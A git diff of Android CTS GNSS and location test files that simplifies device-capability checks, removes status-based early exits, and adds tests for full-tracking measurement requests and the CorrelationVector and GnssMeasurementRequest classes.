index a872c49..6ea9477 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssLocationValuesTest.java
@@ -22,7 +22,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 /**
@@ -67,8 +66,7 @@
    */
   public void testAccuracyFields() throws Exception {
     // Checks if GPS hardware feature is present, skips test (pass) if not
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N, mTestLocationManager,
-        TAG)) {
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
       return;
     }
 
@@ -139,8 +137,7 @@
    */
   public void testLocationRegularFields() throws Exception {
     // Checks if GPS hardware feature is present, skips test (pass) if not
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N, mTestLocationManager,
-        TAG)) {
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
       return;
     }
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java
index 6db3d4f..f615d51 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementRegistrationTest.java
@@ -17,6 +17,7 @@
 package android.location.cts.gnss;
 
 import android.location.GnssMeasurement;
+import android.location.GnssMeasurementRequest;
 import android.location.GnssMeasurementsEvent;
 import android.location.GnssStatus;
 import android.location.cts.common.GnssTestCase;
@@ -25,7 +26,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 import java.util.List;
@@ -36,11 +36,8 @@
  * Test steps:
  * 1. Register a listener for {@link GnssMeasurementsEvent}s.
  * 2. Check {@link GnssMeasurementsEvent} status: if the status is not
- *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
- *    following reasons:
- *          2.1 the device does not support the feature,
- *          2.2 GPS is disabled in the device,
- *          2.3 Location is disabled in the device.
+ *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped if the device does not
+ *    support the feature,
  * 3. If at least one {@link GnssMeasurementsEvent} is received, the test will pass.
  * 2. If no {@link GnssMeasurementsEvent} are received, then check whether the device is deep indoor.
  *    This is done by performing the following steps:
@@ -49,10 +46,9 @@
  *          2.3 If no {@link GnssStatus} is received this will mean that the device is located
  *              indoor. Test will be skipped.
  *          2.4 If we receive a {@link GnssStatus}, it mean that {@link GnssMeasurementsEvent}s are
- *              provided only if the application registers for location updates as well:
- *                  2.4.1 The test will pass with a warning for the M release.
- *                  2.4.2 The test might fail in a future Android release, when this requirement
- *                        becomes mandatory.
+ *              provided only if the application registers for location updates as well. Since
+ *              Android Q, it is mandatory to report GnssMeasurement even if a location has not
+ *              yet been reported. Therefore, the test fails.
  */
 public class GnssMeasurementRegistrationTest extends GnssTestCase {
 
@@ -86,9 +82,7 @@
      */
     public void testGnssMeasurementRegistration() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -101,26 +95,47 @@
         mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
         mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener);
 
-        mMeasurementListener.await();
-        if (!mMeasurementListener.verifyStatus()) {
-            // If test is strict verifyStatus will assert conditions are good for further testing.
-            // Else this returns false and, we arrive here, and then return from here (pass.)
+        verifyGnssMeasurementsReceived();
+    }
+
+    /**
+     * Test GPS measurements registration with full tracking enabled.
+     */
+    public void testGnssMeasurementRegistration_enableFullTracking() throws Exception {
+        // Checks if GPS hardware feature is present, skips test (pass) if not,
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
+        if (TestMeasurementUtil.isAutomotiveDevice(getContext())) {
+            Log.i(TAG, "Test is being skipped because the system has the AUTOMOTIVE feature.");
+            return;
+        }
+
+        // Register for GPS measurements.
+        mMeasurementListener = new TestGnssMeasurementListener(TAG, GPS_EVENTS_COUNT);
+        mTestLocationManager.registerGnssMeasurementCallback(mMeasurementListener,
+                new GnssMeasurementRequest.Builder().setFullTracking(true).build());
+
+        verifyGnssMeasurementsReceived();
+    }
+
+    private void verifyGnssMeasurementsReceived() throws InterruptedException {
+        mMeasurementListener.await();
+
         List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
         Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
 
         if (!events.isEmpty()) {
-           // Test passes if we get at least 1 pseudorange.
-           Log.i(TAG, "Received GPS measurements. Test Pass.");
-           return;
+            // Test passes if we get at least 1 pseudorange.
+            Log.i(TAG, "Received GPS measurements. Test Pass.");
+            return;
         }
 
         SoftAssert.failAsWarning(
                 TAG,
                 "GPS measurements were not received without registering for location updates. "
-                + "Trying again with Location request.");
+                        + "Trying again with Location request.");
 
         // Register for location updates.
         mLocationListener = new TestLocationListener(EVENTS_COUNT);
@@ -137,6 +152,14 @@
         softAssert.assertTrue(
                 "Did not receive any GnssMeasurement events.  Retry outdoors?",
                 !events.isEmpty());
+
+        softAssert.assertTrue(
+                "Received GnssMeasurement events only when registering for location updates. "
+                        + "Since Android Q, device MUST report GNSS measurements, as soon as they"
+                        + " are found, even if a location calculated from GPS/GNSS is not yet "
+                        + "reported.",
+                events.isEmpty());
+
         softAssert.assertAll();
     }
 }
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
index e8c8ab1..20357c1 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementValuesTest.java
@@ -24,7 +24,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 import java.util.HashSet;
@@ -40,12 +39,10 @@
  * 3. Wait for {@link #LOCATION_TO_COLLECT_COUNT} locations.
  *          3.1 Confirm locations have been found.
  * 4. Check {@link GnssMeasurementsEvent} status: if the status is not
- *    {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped because
- *    one of the following reasons:
- *          4.1 the device does not support the GPS feature,
- *          4.2 GPS Location is disabled in the device and this is CTS (non-verifier)
- *  5. Verify {@link GnssMeasurement}s (all mandatory fields), the test will fail if any of the
- *     mandatory fields is not populated or in the expected range.
+ *    {@link GnssMeasurementsEvent.Callback#STATUS_READY}, the test will be skipped if the device
+ *    does not support the GPS feature.
+ * 5. Verify {@link GnssMeasurement}s (all mandatory fields), the test will fail if any of the
+ *    mandatory fields is not populated or in the expected range.
  */
 public class GnssMeasurementValuesTest extends GnssTestCase {
 
@@ -84,9 +81,7 @@
      */
     public void testListenForGnssMeasurements() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -118,12 +113,6 @@
 
         Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
 
-        if (!mMeasurementListener.verifyStatus()) {
-            // If test is strict and verifyStatus returns false, an assert exception happens and
-            // test fails.   If test is not strict, we arrive here, and:
-            return; // exit (with pass)
-        }
-
         List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
         int eventCount = events.size();
         Log.i(TAG, "Number of Gps Event received = " + eventCount);
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java
index 35aaa4d..9acc4af 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementWhenNoLocationTest.java
@@ -22,7 +22,6 @@
 import android.location.cts.common.GnssTestCase;
 import android.location.cts.common.TestGnssMeasurementListener;
 import android.location.cts.common.TestLocationListener;
-import android.os.Build;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 import android.location.cts.common.TestUtils;
@@ -50,15 +49,12 @@
  *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
  *    following reasons:
  *          4.1 the device does not support the feature,
- *          4.2 GPS Locaiton is disabled in the device && the test is CTS non-verifier
  * 6. Check whether the device is deep indoor. This is done by performing the following steps:
  *          4.1 If no {@link GnssStatus} is received this will mean that the device is located
  *              indoor. The test will be skipped if not strict (CTS or pre-2016.)
  * 7. When the device is not indoor, verify that we receive {@link GnssMeasurementsEvent}s before
  *    a GPS location is calculated, and reported by GPS HAL. If {@link GnssMeasurementsEvent}s are
- *    only received after a location update is received:
- *          4.1.1 The test will pass with a warning for the M release.
- *          4.1.2 The test will fail on N with CTS-Verifier & newer (2016+) GPS hardware.
+ *    only received after a location update is received, the test will pass with a warning.
  * 8. If {@link GnssMeasurementsEvent}s are received: verify all mandatory fields, the test will
  *    fail if any of the mandatory fields is not populated or in the expected range.
  */
@@ -102,9 +98,7 @@
     @AppModeFull(reason = "Requires use of extra LocationManager commands")
     public void testGnssMeasurementWhenNoLocation() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -115,13 +109,9 @@
 
         // Set the device in airplane mode so that the GPS assistance data cannot be downloaded.
         // This results in GNSS measurements being reported before a location is reported.
-        // NOTE: Changing global setting airplane_mode_on is not allowed in CtsVerifier application.
-        //       Hence, airplane mode is turned on only when this test is run as a regular CTS test
-        //       and not when it is invoked through CtsVerifier.
-        boolean isAirplaneModeOffBeforeTest = true;
         // Record the state of the airplane mode before the test so that we can restore it
         // after the test.
-        isAirplaneModeOffBeforeTest = !TestUtils.isAirplaneModeOn();
+        boolean isAirplaneModeOffBeforeTest = !TestUtils.isAirplaneModeOn();
         if (isAirplaneModeOffBeforeTest) {
             TestUtils.setAirplaneModeOn(getContext(), true);
         }
@@ -145,11 +135,6 @@
             mLocationListener = new TestLocationListener(LOCATIONS_COUNT);
             mTestLocationManager.requestLocationUpdates(mLocationListener);
 
-            mMeasurementListener.awaitStatus();
-            if (!mMeasurementListener.verifyStatus()) {
-                return; // exit peacefully (if not already asserted out inside verifyStatus)
-            }
-
             // Wait for two measurement events - this is better than waiting for a location
             // calculation because the test generally completes much faster.
             mMeasurementListener.await();
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java
index 0c30cce..3db1325 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssMeasurementsConstellationTest.java
@@ -25,7 +25,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 import java.util.List;
@@ -36,15 +35,9 @@
  * Test steps:
  * 1. Register a listener for {@link GnssMeasurementsEvent}s and location updates.
  * 2. Check {@link GnssMeasurementsEvent} status: if the status is not
- *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped because one of the
- *    following reasons:
- *          2.1 the device does not support the feature,
- *          2.2 GPS is disabled in the device,
- *          // TODO: This is true only for cts, for verifier mode we need to modify
- *                   TestGnssMeasurementListener to fail the test.
- *          2.3 Location is disabled in the device.
- * 3. If no {@link GnssMeasurementsEvent} is received then test is skipped in cts mode and fails in
- *    cts verifier mode.
+ *    {@link GnssMeasurementsEvent#STATUS_READY}, the test will be skipped if the device does not
+ *    support the feature,
+ * 3. If no {@link GnssMeasurementsEvent} is received then the test fails.
  * 4. Check if one of the received measurements has constellation other than GPS.
  */
 public class GnssMeasurementsConstellationTest extends GnssTestCase {
@@ -79,9 +72,7 @@
      */
     public void testGnssMultiConstellationSupported() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -99,9 +90,6 @@
         mTestLocationManager.requestLocationUpdates(mLocationListener);
 
         mMeasurementListener.await();
-        if (!mMeasurementListener.verifyStatus()) {
-            return;
-        }
 
         List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
         Log.i(TAG, "Number of GnssMeasurement events received = " + events.size());
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java
index 9491bda..ee77f36 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageRegistrationTest.java
@@ -22,7 +22,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 import java.util.List;
@@ -89,9 +88,7 @@
      */
     public void testGnssNavigationMessageRegistration() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -106,7 +103,10 @@
         mTestLocationManager.registerGnssNavigationMessageCallback(mTestGnssNavigationMessageListener);
 
         mTestGnssNavigationMessageListener.await();
-        if (!mTestGnssNavigationMessageListener.verifyState()) {
+
+        if (!mTestLocationManager.getLocationManager().getGnssCapabilities()
+                .hasNavigationMessages()) {
+            Log.i(TAG, "Skip the test since NavigationMessage is not supported.");
             return;
         }
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java
index 246df43..0cf7e25 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssNavigationMessageTest.java
@@ -22,7 +22,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.os.Parcel;
 import android.util.Log;
 
@@ -78,9 +77,7 @@
      */
     public void testGnssNavigationMessageMandatoryFieldRanges() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
@@ -100,9 +97,12 @@
 
         boolean success = mTestGnssNavigationMessageListener.await();
 
-        if (!mTestGnssNavigationMessageListener.verifyState()) {
+        if (!mTestLocationManager.getLocationManager().getGnssCapabilities()
+                .hasNavigationMessages()) {
+            Log.i(TAG, "Skip the test since NavigationMessage is not supported.");
             return;
         }
+
         SoftAssert softAssert = new SoftAssert(TAG);
         softAssert.assertTrue(
             "Time elapsed without getting enough navigation messages."
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
index 2b8509e..db2e424 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssPseudorangeVerificationTest.java
@@ -27,7 +27,6 @@
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
 import android.location.cts.gnss.pseudorange.PseudorangePositionVelocityFromRealTimeEvents;
-import android.os.Build;
 import android.platform.test.annotations.AppModeFull;
 import android.util.Log;
 
@@ -110,9 +109,7 @@
   @CddTest(requirement="7.3.3")
   public void testPseudorangeValue() throws Exception {
     // Checks if Gnss hardware feature is present, skips test (pass) if not
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-          mTestLocationManager,
-          TAG)) {
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
       return;
     }
 
@@ -139,11 +136,6 @@
 
     Log.i(TAG, "Location status received = " + mLocationListener.isLocationReceived());
 
-    if (!mMeasurementListener.verifyStatus()) {
-      // If verifyStatus returns false, an assert exception happens and test fails.
-      return; // exit (with pass)
-    }
-
     List<GnssMeasurementsEvent> events = mMeasurementListener.getEvents();
     int eventCount = events.size();
     Log.i(TAG, "Number of GNSS measurement events received = " + eventCount);
@@ -261,9 +253,7 @@
     @RequiresDevice  // emulated devices do not support real measurements so far.
     public void testPseudoPosition() throws Exception {
         // Checks if Gnss hardware feature is present, skips test (pass) if not
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N,
-                mTestLocationManager,
-                TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
 
diff --git a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
index 27467db..e23dd84 100644
--- a/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
+++ b/tests/location/location_gnss/src/android/location/cts/gnss/GnssStatusTest.java
@@ -6,7 +6,6 @@
 import android.location.cts.common.TestLocationListener;
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
-import android.os.Build;
 import android.util.Log;
 
 public class GnssStatusTest extends GnssTestCase  {
@@ -26,8 +25,7 @@
    */
   public void testGnssStatusChanges() throws Exception {
     // Checks if GPS hardware feature is present, skips test (pass) if not
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N, mTestLocationManager,
-        TAG)) {
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
       return;
     }
 
@@ -65,8 +63,7 @@
    */
   public void testGnssStatusValues() throws InterruptedException {
     // Checks if GPS hardware feature is present, skips test (pass) if not
-    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(Build.VERSION_CODES.N, mTestLocationManager,
-        TAG)) {
+    if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
       return;
     }
     SoftAssert softAssert = new SoftAssert(TAG);
diff --git a/tests/location/location_none/src/android/location/cts/none/GnssMeasurementRequestTest.java b/tests/location/location_none/src/android/location/cts/none/GnssMeasurementRequestTest.java
new file mode 100644
index 0000000..feb44d8
--- /dev/null
+++ b/tests/location/location_none/src/android/location/cts/none/GnssMeasurementRequestTest.java
@@ -0,0 +1,63 @@
+package android.location.cts.none;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.location.GnssMeasurementRequest;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests fundamental functionality of {@link GnssMeasurementRequest} class. This includes writing
+ * and reading from parcel, and verifying computed values and getters.
+ */
+@RunWith(AndroidJUnit4.class)
+public class GnssMeasurementRequestTest {
+
+    private GnssMeasurementRequest getTestGnssMeasurementRequest(boolean fullTracking) {
+        GnssMeasurementRequest.Builder builder = new GnssMeasurementRequest.Builder();
+        builder.setFullTracking(fullTracking);
+        return builder.build();
+    }
+
+    @Test
+    public void testGetValues() {
+        GnssMeasurementRequest request1 = getTestGnssMeasurementRequest(true);
+        assertTrue(request1.isFullTracking());
+        GnssMeasurementRequest request2 = getTestGnssMeasurementRequest(false);
+        assertFalse(request2.isFullTracking());
+    }
+
+    @Test
+    public void testDescribeContents() {
+        GnssMeasurementRequest request = getTestGnssMeasurementRequest(true);
+        assertEquals(request.describeContents(), 0);
+    }
+
+    @Test
+    public void testWriteToParcel() {
+        GnssMeasurementRequest request = getTestGnssMeasurementRequest(true);
+
+        Parcel parcel = Parcel.obtain();
+        request.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        GnssMeasurementRequest fromParcel = GnssMeasurementRequest.CREATOR.createFromParcel(parcel);
+
+        assertEquals(request, fromParcel);
+    }
+
+    @Test
+    public void testEquals() {
+        GnssMeasurementRequest request1 = getTestGnssMeasurementRequest(true);
+        GnssMeasurementRequest request2 = new GnssMeasurementRequest.Builder(request1).build();
+        GnssMeasurementRequest request3 = getTestGnssMeasurementRequest(false);
+        assertEquals(request1, request2);
+        assertNotEquals(request3, request2);
+    }
+}
diff --git a/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java b/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java
index c01b37c..854e3ba 100644
--- a/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java
+++ b/tests/location/location_none/src/android/location/cts/none/NoLocationPermissionTest.java
@@ -16,6 +16,8 @@
 
 package android.location.cts.none;
 
+import static com.google.common.truth.Truth.assertThat;
+
 import static org.junit.Assert.assertNotNull;
 import static org.junit.Assert.fail;
 
@@ -100,20 +102,6 @@
     }
 
     @Test
-    public void testGetProvider() {
-        for (String provider : mLocationManager.getAllProviders()) {
-            mLocationManager.getProvider(provider);
-        }
-    }
-
-    @Test
-    public void testIsProviderEnabled() {
-        for (String provider : mLocationManager.getAllProviders()) {
-            mLocationManager.isProviderEnabled(provider);
-        }
-    }
-
-    @Test
     public void testAddTestProvider() {
         for (String provider : mLocationManager.getAllProviders()) {
             try {
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/CorrelationVectorTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/CorrelationVectorTest.java
new file mode 100644
index 0000000..b14ac96
--- /dev/null
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/CorrelationVectorTest.java
@@ -0,0 +1,85 @@
+package android.location.cts.privileged;
+
+import static org.junit.Assert.assertArrayEquals;
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNotEquals;
+
+import android.location.CorrelationVector;
+import android.os.Parcel;
+
+import androidx.test.ext.junit.runners.AndroidJUnit4;
+
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Tests fundamental functionality of CorrelationVector class. This includes writing and reading
+ * from parcel, and verifying computed values and getters.
+ */
+@RunWith(AndroidJUnit4.class)
+public class CorrelationVectorTest {
+
+    private static final double PRECISION = 0.0001;
+    private static final int[] MAGNITUDE_ARRAY = new int[] {0, 5000, 10000, 5000, 0, 0, 3000, 0};
+    private static final int[] MAGNITUDE_ARRAY2 = new int[] {0, 3000, 10000, 5000, 0, 0, 3000, 0};
+
+    @Test
+    public void testCorrelationVectorDescribeContents() {
+        CorrelationVector correlationVector = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        assertEquals(0, correlationVector.describeContents());
+    }
+
+    @Test
+    public void testCorrelationVectorWriteToParcel() {
+        CorrelationVector correlationVector = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        Parcel parcel = Parcel.obtain();
+        correlationVector.writeToParcel(parcel, 0);
+        parcel.setDataPosition(0);
+        CorrelationVector newCorrelationVector = CorrelationVector.CREATOR.createFromParcel(parcel);
+        verifyCorrelationVectorValuesAndGetters(newCorrelationVector);
+        parcel.recycle();
+    }
+
+    @Test
+    public void testCreateCorrelationVectorAndGetValues() {
+        CorrelationVector correlationVector = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        verifyCorrelationVectorValuesAndGetters(correlationVector);
+    }
+
+    @Test
+    public void testEquals() {
+        CorrelationVector correlationVector1 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        CorrelationVector correlationVector2 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        CorrelationVector correlationVector3 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY2);
+        assertEquals(correlationVector1, correlationVector2);
+        assertNotEquals(correlationVector1, correlationVector3);
+    }
+
+    @Test
+    public void testHashCode() {
+        CorrelationVector correlationVector1 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        CorrelationVector correlationVector2 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY);
+        CorrelationVector correlationVector3 = createTestCorrelationVector(30d, 10d, 10, MAGNITUDE_ARRAY2);
+        assertEquals(correlationVector1.hashCode(), correlationVector2.hashCode());
+        assertNotEquals(correlationVector1.hashCode(), correlationVector3.hashCode());
+    }
+
+    private static void verifyCorrelationVectorValuesAndGetters(
+            CorrelationVector correlationVector) {
+        assertEquals(30d, correlationVector.getSamplingWidthMeters(), PRECISION);
+        assertEquals(10d, correlationVector.getSamplingStartMeters(), PRECISION);
+        assertEquals(10, correlationVector.getFrequencyOffsetMetersPerSecond());
+        assertArrayEquals(MAGNITUDE_ARRAY, correlationVector.getMagnitude());
+    }
+
+    private static CorrelationVector createTestCorrelationVector(
+            double samplingWidthMeters, double samplingStartMeters,
+                    int frequencyOffsetMetersPerSecond, int[] magnitude) {
+        return new CorrelationVector.Builder()
+                .setSamplingWidthMeters(samplingWidthMeters)
+                .setSamplingStartMeters(samplingStartMeters)
+                .setFrequencyOffsetMetersPerSecond(frequencyOffsetMetersPerSecond)
+                .setMagnitude(magnitude)
+                .build();
+    }
+}
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssLocationValuesTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssLocationValuesTest.java
index fc5481e..93a6640 100644
--- a/tests/location/location_privileged/src/android/location/cts/privileged/GnssLocationValuesTest.java
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssLocationValuesTest.java
@@ -24,9 +24,12 @@
 import android.location.cts.common.TestLocationManager;
 import android.location.cts.common.TestMeasurementUtil;
 import android.os.Build;
+import android.util.Log;
 
 import androidx.test.InstrumentationRegistry;
 
+import org.junit.Assert;
+
 /**
  * Test the {@link Location} values.
  *
@@ -67,26 +70,46 @@
     }
 
     /**
-     * 1. Get GNSS locations in low power mode.
-     * 2. Check whether all fields' value make sense.
+     * 1. Get regular GNSS locations to warm up the engine.
+     * 2. Get low-power GNSS locations.
+     * 3. Check whether all fields' value make sense.
      */
     public void testLowPowerModeGnssLocation() throws Exception {
         // Checks if GPS hardware feature is present, skips test (pass) if not,
-        // and hard asserts that Location/GPS (Provider) is turned on if is Cts Verifier.
-        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(MIN_ANDROID_SDK_VERSION_REQUIRED,
-                mTestLocationManager, TAG)) {
+        if (!TestMeasurementUtil.canTestRunOnCurrentDevice(mTestLocationManager, TAG)) {
             return;
         }
+
+        // Get regular GNSS locations to warm up the engine.
+        waitForRegularGnssLocations();
+
         mTestLocationManager.requestLowPowerModeGnssLocationUpdates(5000, mLocationListener);
 
-        waitAndValidateLocation();
+        waitAndValidateLowPowerLocations();
     }
 
-    private void waitAndValidateLocation() throws InterruptedException {
+
+    private void waitForRegularGnssLocations() throws InterruptedException {
+        TestLocationListener locationListener = new TestLocationListener(LOCATION_TO_COLLECT_COUNT);
+        mTestLocationManager.requestLocationUpdates(locationListener);
+        boolean success = locationListener.await();
+        mTestLocationManager.removeLocationUpdates(locationListener);
+
+        if (success) {
+            Log.i(TAG, "Successfully received " + LOCATION_TO_COLLECT_COUNT
+                    + " regular GNSS locations.");
+        }
+
+        Assert.assertTrue("Time elapsed without getting enough regular GNSS locations."
+                + " Possibly, the test has been run deep indoors."
+                + " Consider retrying test outdoors.", success);
+    }
+
+    private void waitAndValidateLowPowerLocations() throws InterruptedException {
         boolean success = mLocationListener.await();
         SoftAssert softAssert = new SoftAssert(TAG);
         softAssert.assertTrue(
-                "Time elapsed without getting the GNSS locations."
+                "Time elapsed without getting the low-power GNSS locations."
                         + " Possibly, the test has been run deep indoors."
                         + " Consider retrying test outdoors.",
                 success);
diff --git a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java
index 8136d83..9248032 100644
--- a/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java
+++ b/tests/location/location_privileged/src/android/location/cts/privileged/GnssMeasurementRegistrationTest.java
@@ -17,6 +17,7 @@
